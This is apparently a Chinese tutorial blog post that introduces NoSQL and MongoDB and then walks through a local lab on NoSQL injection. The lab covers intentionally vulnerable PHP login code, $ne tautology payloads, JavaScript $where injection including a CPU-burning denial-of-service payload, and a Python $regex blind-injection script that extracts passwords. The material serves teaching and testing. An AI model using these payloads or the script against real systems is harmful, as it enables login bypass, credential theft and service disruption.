君衍.
- 一、NoSQL
- 1、为什么使用NoSQL
- 2、RDBMS与NoSQL区别
- 3、NoSQL产品
- 4、NoSQL 数据库分类
- 二、MongoDB
- 1、认识MongoDB
- 2、MongoDB特性
- 3、MongoDB工作方式
- 4、MongoDB缺陷
- 5、MongoDB基本概念
- 6、数据库Database
- 7、文档Document
- 8、集合Collection
- 三、MongoDB基本操作
- 1、数据库操作
- 2、集合操作
- 3、文档操作
- 4、Where语句比较
- 四、MongoDB安装注意点
- 五、NoSQL注入分类
- 六、重言式注入
- 1、环境部署
- 2、注入原理
- 七、JavaScript注入
- 八、布尔盲注
一、NoSQL
NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。
NoSQL用于超大规模数据的存储。 (例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。
1、为什么使用NoSQL
今天我们可以通过第三方平台(如:Google,Facebook等)可以很容易的访问和抓取数据。用户的个人信息,社交网络,地理位置,用户生成的数据和用户操作日志已经成倍的增加。我们如果要对这些用户数据进行挖掘,那SQL数据库已经不适合这些应用了, NoSQL数据库的发展也却能很好的处理这些大的数据。
随着互联网 web2.0 网站的兴起,传统的关系数据库在应付 web2.0 网站,特别是超大规模和高并发的 SNS 类型的 web2.0 纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL 数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,尤其是大数据应用难题。
2、RDBMS与NoSQL区别
RDBMS
- 高度组织化结构化数据
- 结构化查询语言(SQL)
- 数据和关系都存储在单独的表中。
- 数据操纵语言,数据定义语言
- 严格的一致性
- 基础事务
NoSQL
- 代表着不仅仅是SQL
- 没有声明性查询语言
- 没有预定义的模式
- 键值对存储,列存储,文档存储,图形数据库
- 最终一致性,而非ACID属性
- 非结构化和不可预知的数据
- 高性能,高可用性和可伸缩性
3、NoSQL产品
常见的NoSQL产品:redis、memcache、mongdb等
NoSQL产品的显著特点:
- 1、NoSQL产品一般不使用严格的表关系;
- 2、NoSQL产品的数据查询一般不用在SQL上;
4、NoSQL 数据库分类
类型 | 部分代表 | 特点 |
---|---|---|
列存储 | Hbase Cassandra Hypertable | 顾名思义,是按列存储数据的。最大的特点是方便存储结构化和半结构化数据,方便做数据压缩,对针对某一列或者某几列的查询有非常大的IO优势。 |
文档存储 | MongoDB CouchDB | 文档存储一般用类似json的格式存储,存储的内容是文档型的。这样也就有有机会对某些字段建立索引,实现关系数据库的某些功能。 |
key-value存储 | Tokyo Cabinet / Tyrant Berkeley DB MemcacheDB Redis | 可以通过key快速查询到其value。一般来说,存储不管value的格式,照单全收。(Redis包含了其他功能) |
图存储 | Neo4J FlockDB | 图形关系的最佳存储。使用传统关系数据库来解决的话性能低下,而且设计使用不方便。 |
对象存储 | db4o Versant | 通过类似面向对象语言的语法操作数据库,通过对象的方式存取数据。 |
xml数据库 | Berkeley DB XML BaseX | 高效的存储XML数据,并支持XML的内部查询语法,比如XQuery,Xpath。 |
二、MongoDB
1、认识MongoDB
- MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
- 在高负载的情况下,添加更多的节点,可以保证服务器性能。
- MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。
- MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。
- MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组
2、MongoDB特性
MongoDB是一个可扩展、高性能的下一代数据库,它的特点是高性能、易部署、易使用、存储数据方便,主要特性有:
- 面向文档存储,json格式的文档易读、高效;
- 模式自由,支持动态查询、完全索引,无模式;
- 高效的数据存储,效率提高;
- 支持复制和故障恢复;
- 以支持云级别的伸缩性,支持水平数据库集群,可动态添加额外服务器。
3、MongoDB工作方式
- 传统的关系型数据库一般有数据库 (database) 、表 (table) 、记录 (record) 三级层次构成。
- MongoDB同样是由数据库 (database)、集合 (collection) 、文档对象 (documen) 三个层次组成。
- 文档类似于json的键值对。
["name":"tom","age":23]
- 集合一组文档的集合。
4、MongoDB缺陷
- 32位系统上,不支持大于2.5G的数据
- 单个文档大小限制为16M
- 锁粒度太粗,MongoDB使用一把全局读写锁
- 不支持join操作和事务机制
- 对内存要求比较大,至少要保证热数据(索引,数据及系统其他开销) 都能装进内存
- 用户权限方面较弱
- MapReduce在单个实例上无法运行,可用Auto-sharding实现,是由JS引擎限制造成
- MapReduce的结果无法写入到一个被sharding的collection中,待后续版本解决
- 对于数组型的数据操作不够丰富
5、MongoDB基本概念
SQL 概念 | MongoDB 概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:
RDBMS | MongoDB |
---|---|
数据库 | 数据库 |
表格 | 集合 |
行 | 文档 |
列 | 字段 |
表联合 | 嵌入文档 |
主键 | 主键(MongoDB 提供了 key 为 _id) |
6、数据库Database
一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。
Please enter a MongoDB connection string (Default: mongodb://localhost/):
Current Mongosh Log ID: 6602c9cf23b133031cd14a0d
Connecting to: mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.2.1
Using MongoDB: 6.0.14
Using Mongosh: 2.2.1
For mongosh info see: https://docs.mongodb.com/mongodb-shell/
------The server generated these startup warnings when booting2024-03-26T20:35:42.542+08:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
------
test> show dbs
admin 40.00 KiB
config 72.00 KiB
local 72.00 KiB
test 72.00 KiB
test> db
test
test>
使用show dbs
命令可以显示所有数据库列表,db
命令可以显示当前数据库对象或集合。
7、文档Document
文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。
8、集合Collection
集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
可以使用 show collections
或 show tables
命令查看已有集合。
test> show collections
users
test> show tables;
users
test>
三、MongoDB基本操作
1、数据库操作
帮助:
help
db.help()
db.yourColl.help()
db.yourColl.find().help()
rs.help()
创建数据库:
use 数据库名称
如果数据库不存在,那么该命令自动创建数据库,存在则切换到指定的数据库。
查询所有数据库:
show dbs
test> show dbs
admin 40.00 KiB
config 108.00 KiB
local 72.00 KiB
test 72.00 KiB
test>
db.status() //查看当前库状态
db.help() //帮助
db //当前库
删除数据库:
db.dropDatabase()
1> db.dropDatabase()
{ ok: 1, dropped: '1' }
这里我们需要注意命令严格区分大小写。
2、集合操作
1、创建一个聚集集合(table)
db.createCollection('emails')
test> db.createCollection('emails')
{ ok: 1 }
2、得到指定名称的聚集集合(table)
db.getCollection("emails")
3、得到当前db的所有聚集集合
db.getCollectionNames()
test> db.getCollectionNames()
[ 'users', 'emails' ]
4、显示当前db所有聚集索引的状态
db.printCollectionStats()
3、文档操作
MongoDB 使用 insert() 或 save() 方法向集合中插入文档,语法如下:
db.COLLECTION_NAME.insert(document)
1、插入单条文档
db.emails.insert({username:'admin',emails:'111'})
test> db.emails.insert({username:'admin',emails:'111'})
DeprecationWarning: Collection.insert() is deprecated. Use insertOne, insertMany, or bulkWrite.
{acknowledged: true,insertedIds: { '0': ObjectId('6602d36c4333389b71d14a0e') }
}
test>
2、查看文档
db.emails.find()
test> db.emails.find()
[{_id: ObjectId('6602d36c4333389b71d14a0e'),username: 'admin',emails: '111'}
]
test> db.users.find()
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{_id: ObjectId('66029e50572847e991d14a11'),username: 'wangwu',password: 'asdfgh'}
]
test>
3、插入多条数据
db.users.insertMany( [{username:'admin1',password:'admin1'},
... {username:'admin2',password:'admin2'}]
... )
test> db.users.insertMany( [{username:'admin1',password:'admin1'},
... {username:'admin2',password:'admin2'}]
... )
{acknowledged: true,insertedIds: {'0': ObjectId('6602d4ac4333389b71d14a0f'),'1': ObjectId('6602d4ac4333389b71d14a10')}
}
test>
4、限制条件查询
db.users.find({username:'admin'})
test> db.users.find({username:'admin'})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>
4、Where语句比较
操作 | 格式 | 范例 | RDBMS 中的类似语句 |
---|---|---|---|
等于 | {<key>:<value>} | db.love.find({"name":"whoami"}).pretty() | where name = 'whoami' |
小于 | {<key>:{$lt:<value>}} | db.love.find({"age":{$lt:19}}).pretty() | where age < 19 |
小于或等于 | {<key>:{$lte:<value>}} | db.love.find({"age":{$lte:19}}).pretty() | where likes <= 19 |
大于 | {<key>:{$gt:<value>}} | db.love.find({"age":{$gt:19}}).pretty() | where likes > 19 |
大于或等于 | {<key>:{$gte:<value>}} | db.love.find({"age":{$gte:19}}).pretty() | where likes >= 19 |
不等于 | {<key>:{$ne:<value>}} | db.love.find({"age":{$ne:19}}).pretty() | where likes != 19 |
四、MongoDB安装注意点
(教程网上很多,而且安装不难)
- 1、需要注意安装过程中不要去勾选MongoDB Compass,否则会安装的很慢
- 2、MongDB 6 以前,这个目录下会有很多可执行程序,比如最常用的 mongo.exe,它用来连接到 MongoDB 服务,是一个 shell 环境的客户端工具。但是现在需要单独进行安装:
安装链接 - 3、环境变量配置,这个也是最应该注意的。
- 4、注意小皮需要打开mongodb得扩展,不然会报错:
会发现里面有一个mongodb的扩展,勾上1即可。
五、NoSQL注入分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。
- 重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。 - 联合查询注入
联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。 - JavaScript 注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。 - 盲注
当页面没有回显时,那么我们可以通过$regex
正则表达式来达到和传统 SQL 注入中substr()
函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。
六、重言式注入
1、环境部署
首先我们进行环境部署,这里使用编辑器PHPstorm,当然,VScode也是可以的,只是兼容不是很好,同时,使用小皮的apache做中间件从而搭建Web服务器来供我们学习。
MongoDB环境创建:
> use test
switched to db test
> db.createCollection('users')
{ "ok" : 1 }
> db.users.insert({username: 'admin', password: '12345678'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'zhangsan', password: '87654321'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'lisi', password: 'qwertyui'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'wangwu', password: 'asdfgh'})
WriteResult({ "nInserted" : 1 })
>db.users.insert({username: 'admin1', password: 'admin1'})
WriteResult({ "nInserted" : 1 })
>db.users.insert({username: 'admin2', password: 'admin2'})
WriteResult({ "nInserted" : 1 })
phpstorm代码:
(需注意,这串代码需要在小皮的www目录下,之后我们访问即可。)
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';echo 'username:' . $user['username'] . '<br>';echo 'password:' . $user['password'] . '<br>';}
}
else{echo 'Login Failed';
}
?>
下面对代码进行解读,首先这串代码是用于与 MongoDB 数据库进行交互以验证用户的登录信息。
- 连接 MongoDB 数据库:
php$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
这行代码创建了一个 MongoDB\Driver\Manager 实例,用于与 MongoDB 数据库建立连接。它指定了 MongoDB 服务器的地址和端口号(127.0.0.1:27017)。
- 接收用户输入:
php$username = $_POST['username'];
$password = $_POST['password'];
这里从 POST 请求中获取了用户名和密码。
- 构建查询:
php$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));
创建了一个 MongoDB\Driver\Query 实例,用于构建查询条件,以便在数据库中查找匹配指定用户名和密码的用户记录。
- 执行查询:
php$result = $manager->executeQuery('test.users', $query)->toArray();
使用之前创建的 Manager 实例执行查询,查询集合为 test.users,将查询结果转换为数组。
- 处理查询结果:
php$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';echo 'username:' . $user['username'] . '<br>';echo 'password:' . $user['password'] . '<br>';}
}
else {echo 'Login Failed';
}
如果查询结果中存在匹配的记录($count > 0),则通过 foreach 循环遍历结果集中的每个用户,并将其用户名和密码输出到页面上。如果查询结果为空,则输出 “Login Failed”。
2、注入原理
我们直接进行访问即可看到这里显示登录失败,因为此时我们并没有去传入值,这里我们使用POST方式进行提交,完成admin的登录:
username=admin&password=12345678
我们可以看到这里显示登录成功,而其中的过程如下,传入参数之后,进程序中的数据如下:
array('username' => 'admin','password' => '12345678'
)
之后进入MongoDB执行查询操作,构建的查询命令如下:
test> db.users.find({username:'admin',password:'12345678'})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>
同时之前我们从代码中可发现,源码并没有对用户的输入内容进行任何的过滤以及校验,所以我们可以使用$ne
关键字来构造一个永真的条件来完成NoSQL注入:
username[$ne]=1&password[$ne]=1
我们可以看到提交如上语句之后,成功的查出了所有的用户信息,同时也说明这个语句是一个永真查询的条件。
我们可以接下来进行仔细分析,提交之后的数据也就变为了一个数组:
array('username' => array('$ne' => 1),'password' => array('$ne' => 1)
)
同时,构建MongoDB的查询命令也就变为了:
test> db.users.find({username:{$ne:1},password:{$ne:1}})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{
test>username: 'wangwu',password: 'asdfgh'},{_id: ObjectId('6602d4ac4333389b71d14a0f'),username: 'admin1',password: 'admin1'},{_id: ObjectId('6602d4ac4333389b71d14a10'),username: 'admin2',password: 'admin2'}
]
test>
而该语句的意思如下:
username[$ne]=1
:这部分指定了一个查询条件,要求返回的用户名字段不等于 1 的记录。$ne 是 MongoDB 中的一个查询操作符,表示不等于某个值。&
:这个符号用来分隔不同的查询条件。password[$ne]=1
:这部分指定了另一个查询条件,要求返回的密码字段不等于 1 的记录。
由于 users 集合中 username 和 password 都不等于 1,所以将所有的文档数据查出,这很可能是真实的,并且可能允许攻击者绕过身份验证。
针对 PHP 的松散数组特性,以及 MongoDB 查询语句的变化,攻击者可以利用这些特性构造恶意的查询条件,绕过正常的验证和过滤,从而执行未经授权的操作。例如:
- 如果发送
value=1
,PHP 会将其视为一个名为 value 的变量,其值为 1。 - 如果发送
value[$ne]=1
,PHP 会将其解释为一个名为 value 的数组,其键为 $ne,值为 1。 - 当这样的数据传递到 MongoDB 后,原本一个简单的
{"value":1}
查询会变成一个{"value":{$ne:1}}
的条件查询。
类似地,攻击者还可以利用其他 MongoDB 查询操作符构造不同的恶意查询条件,比如如下payload:
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
以上便是重言式注入。
七、JavaScript注入
MongoDB Server 是支持 JavaScript 的,可以使用 JavaScript 进行一些复杂事务和查询,也允许在查询的时候执行 JavaScript 代码。但是如果传递不干净的用户输入到这些查询中,则可能会注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
这里我们首先得认识$where
操作符,在MongoDB中,该操作符可以用来执行JS代码,将JS表达式的字符串或JS函数作为查询语句的一部分。
db.users.find({$where:"function(){return(this.username=='admin')}"})
执行即可看到:
test> db.users.find({$where:"function(){return(this.username=='admin')}"})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>
这里由于我们使用了where关键字,后面的JS就会被执行,同时返回admin,将其作为username来查询出数据。
所以,在一些易受到攻击的PHP应用程序构建MongoDB查询时,就可能会直接插入没有经过过滤以及处理的用户输入,就如上将admin作为参数进行查询的形式:
db.users.find({ $where: "function(){return(this.username == $userData)}" })
同时,攻击者也会注入一些恶意字符,比如延时注入类似的sleep,查询语句如下:
db.users.find({ $where: "function(){return(this.username == 'admin'; sleep(3000))}" })
如果服务器延迟了3秒钟,那么说明注入成功。
当然,我们也可以编写PHP来进行观察测试:
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '123456'){return true;}else{return false;}
}";
$query = new MongoDB\Driver\Query(array('$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {foreach ($result as $user) {$user=(array)$user;echo '====Login Success====<br>';echo 'username: '.$user['username']."<br>";echo 'password: '.$user['password']."<br>";}
}
else{echo 'Login Failed';
}
?>
该代码用于与 MongoDB 数据库进行交互以验证用户的登录信息,但它使用了 MongoDB 的 $where
条件来执行 JavaScript 函数进行验证。
- 连接 MongoDB 数据库:
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
这行代码创建了一个 MongoDB\Driver\Manager
实例,用于与 MongoDB 数据库建立连接。它指定了 MongoDB 服务器的地址和端口号(127.0.0.1:27017)。
- 接收用户输入:
$username = $_POST['username'];
$password = $_POST['password'];
这里从 POST 请求中获取了用户名和密码。
- 构建 JavaScript 函数:
$function = "
function() { var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '12345678'){return true;}else{return false;}
}";
这段代码构建了一个 JavaScript 函数,用于在 MongoDB 中执行用户名和密码的验证。该函数接收两个参数:username
和 password
,然后检查它们是否与硬编码的用户名和密码(‘admin’ 和 ‘12345678’)匹配。如果匹配,则返回 true
,否则返回 false
。
- 构建 MongoDB 查询:
$query = new MongoDB\Driver\Query(array('$where' => $function
));
这段代码构建了一个 MongoDB 查询,使用 $where
条件来执行之前构建的 JavaScript 函数进行验证。
- 执行查询并处理结果:
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: ' . $user['username'] . "<br>";echo 'password: ' . $user['password'] . "<br>";}
} else {echo 'Login Failed';
}
这段代码执行了之前构建的查询,如果查询结果中存在匹配的记录,则输出登录成功,并显示所有用户的用户名和密码。如果查询结果为空,则输出登录失败消息。
传入admin以及密码之后即可看到所有的账户名密码信息。接着我们继续分析,由于MongoDB也存在版本更新,在MongoDB2.4之前,通过 $where
操作符使用 map-reduce
、group
命令可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
比如:发送以下数据后,如果有回显的话讲获取当前数据库下所有的集合名;
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
当然在MongoDB2.4之后,db属性无法访问,但我们依旧可以制造万能密码,如下:
username=1&password=1';return true//
username=1&password=1';return true;var a='1
让其最终返回为true,然后输出所有数据:
这个原因便是因为发送payload之后进入PHP后的数据为:
array('$where' => "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){return true;}else{return false;}}
")
等于说直接返回true,然后将后面内容屏蔽掉,最终达到输出所有数据的目的,当然,我们也可以在数据库中进行测试:
test> db.users.find({$where:"function(){var username='1';var password='1';return true;var a='1';if(username=='admin'&&password=='12345678'){return true;}else{return false;}}"})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{_id: ObjectId('66029e50572847e991d14a11'),username: 'wangwu',password: 'asdfgh'},{_id: ObjectId('6602d4ac4333389b71d14a0f'),username: 'admin1',password: 'admin1'},{_id: ObjectId('6602d4ac4333389b71d14a10'),username: 'admin2',password: 'admin2'}
]
test>
所以,我们可以看到,password中的return true可以让JS代码提前结束并返回true,从而达到永真的条件完成数据的查询。
同时,我们也可以构建一个类似DOS攻击的Payload,可以让服务器CPU飙升100%持续5s。
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
- 1.
username=1&password=1';
:这部分是一个标准的 URL 查询字符串,其中包含了 username 和 password 参数,并将它们的值分别设置为 1。但是,注意到在 password 参数后添加了一个单引号 ',这是为了终止原本的字符串,并在后续添加恶意的 JavaScript 代码。 - 2.
(function(){ ... })();
:这是一个立即执行函数(Immediately Invoked Function Expression,IIFE)的语法,用于封装 JavaScript 代码并立即执行它。在这里,使用了一个匿名的自执行函数。 - 3.
var date = new Date(); do{curDate = new Date();}while(curDate-date<5000);
:这部分代码创建了两个 Date 对象,并在一个循环中持续比较它们之间的时间差,直到时间差达到 5000 毫秒(5 秒)为止。实际上,这段代码是一个繁忙等待(Busy-Waiting)的实现,意图是在一段时间内阻塞浏览器或服务器的执行。 - 4.
return Math.max();
:在循环结束后,该函数调用了 Math.max() 函数,但没有传入任何参数。在 JavaScript 中,如果 Math.max() 不传入任何参数,会返回 -Infinity,即负无穷大。这段代码的目的可能是混淆和误导阅读代码的人。 - 5.
var a='1
:最后,将字符串 '1 赋值给变量 a。
主要目的是尝试通过恶意注入来执行一个繁忙等待的操作,从而阻塞浏览器或服务器的执行。这种攻击可能会导致服务拒绝(DoS)或延迟服务(DDoS)等问题。
八、布尔盲注
(在低版本中其实还存在联合查询注入以及command注入,可以之后了解,这里暂且不说。)
布尔盲注主要利用页面回显来进行判断,同时,这里需要使用到$regex
正则表达式来辅助完成。而这里它其实和SQL注入中的substr()函数作用相同。
比如我们使用如下代码来配置环境方便我们测试:
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';// echo 'username:' . $user['username'] . '<br>';// echo 'password:' . $user['password'] . '<br>';}
}
else{echo 'Login Failed';
}
?>
这里我们需要明白布尔盲注的原理,首先它用到了正则来进行判断密码的长度:
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录成功
username=admin&password[$regex]=.{8} // 登录成功
username=admin&password[$regex]=.{9} // 登录失败
......
所以在在 password[$regex]=.{8}
时可以成功登录,但在 password[$regex]=.{9}
时登录失败,说明该 admin 用户的密码长度为 8。
同时,它提交的数据如下:
array('username' => 'admin','password' => array('$regex' => '.{8}')
)
进入MongoDB构建查询语句之后如下:
test> db.users.find({'username':'admin','password':{$regex:'.{8}'}})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test> db.users.find({'username':'admin','password':{$regex:'.{9}'}})test>
前面知道了password长度之后,下面我们便要逐个提取password字符:
username=admin&password[$regex]=1.{7}
username=admin&password[$regex]=2.{7}
···
或者使用如下:
username=admin&password[$regex]=^1
username=admin&password[$regex]=^2
···
以上便是匹配第一个字符:
使用如上方法即可匹配到第一个字符,然后我们接着构建语句进行匹配,判断第二位,第三位···
username=admin&password[$regex]=1.{7}
username=admin&password[$regex]=12.{6}
username=admin&password[$regex]=123.{5}
username=admin&password[$regex]=1234.{4}
username=admin&password[$regex]=12345.{3}
username=admin&password[$regex]=123456.{2}
username=admin&password[$regex]=1234567.*
username=admin&password[$regex]=12345678
或者如下
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
username=admin&password[$regex]=^1234567
username=admin&password[$regex]=^12345678
即可完成密码逐个字符的提取。
当然,我们这里依旧可以写一个盲注脚本来方便我们注入:
import requests
import stringpassword = ''
url = 'http://127.0.0.1/sql/booleinject.php'while True:for c in string.printable:if c not in ['*', '+', ',', '?']:get_payload = '?username=admin&password[$regex]= ^%s' % (password + c)post_payload = {"username": "admin","password[$regex]": '^' + password + c}json_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c)r = requests.post(url=url, data=post_payload)if 'Login Success' in r.text:print("[+] %s" % (password + c))password += c
使用以上脚本即可完成注入。
import requests # 导入 requests 模块,用于发送 HTTP 请求
import string # 导入 string 模块,用于生成所有可打印字符的集合password = '' # 初始化一个空字符串,用于存储注入的密码
url = 'http://127.0.0.1/sql/booleinject.php' # 设置目标 URL,即接受用户输入并进行 SQL 查询的 PHP 脚本的地址while True: # 进入一个无限循环,直到密码被找到for c in string.printable: # 遍历所有可打印字符,包括数字、字母、标点符号等if c not in ['*', '+', ',', '?']: # 检查当前字符是否为通配符,因为在 SQL 注入中可能需要避免使用通配符# 构建不同的 payloadget_payload = '?username=admin&password[$regex]= ^%s' % (password + c) # 用于构建 GET 请求的查询字符串,通过将密码的部分注入到参数中来构造 SQL 注入攻击post_payload = { # 用于构建 POST 请求的参数,同样是将密码的部分注入到参数中来构造 SQL 注入攻击"username": "admin","password[$regex]": '^' + password + c}json_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c) # 以 JSON 格式构建的 payload,用于构建 JSON 格式的 POST 请求参数,同样是为了进行 SQL 注入攻击# 发送请求并检查响应r = requests.post(url=url, data=post_payload) # 使用 requests.post() 方法发送 HTTP POST 请求,并传入 URL 和构建好的参数if 'Login Success' in r.text: # 检查响应文本中是否包含 "Login Success" 字符串,如果存在,则说明注入成功,密码的当前字符被确认print("[+] %s" % (password + c)) # 打印当前确认的字符password += c # 将当前字符添加到密码中break # 停止当前循环,继续下一个字符的尝试# 当密码被找到后,循环会立即终止,代码将停止执行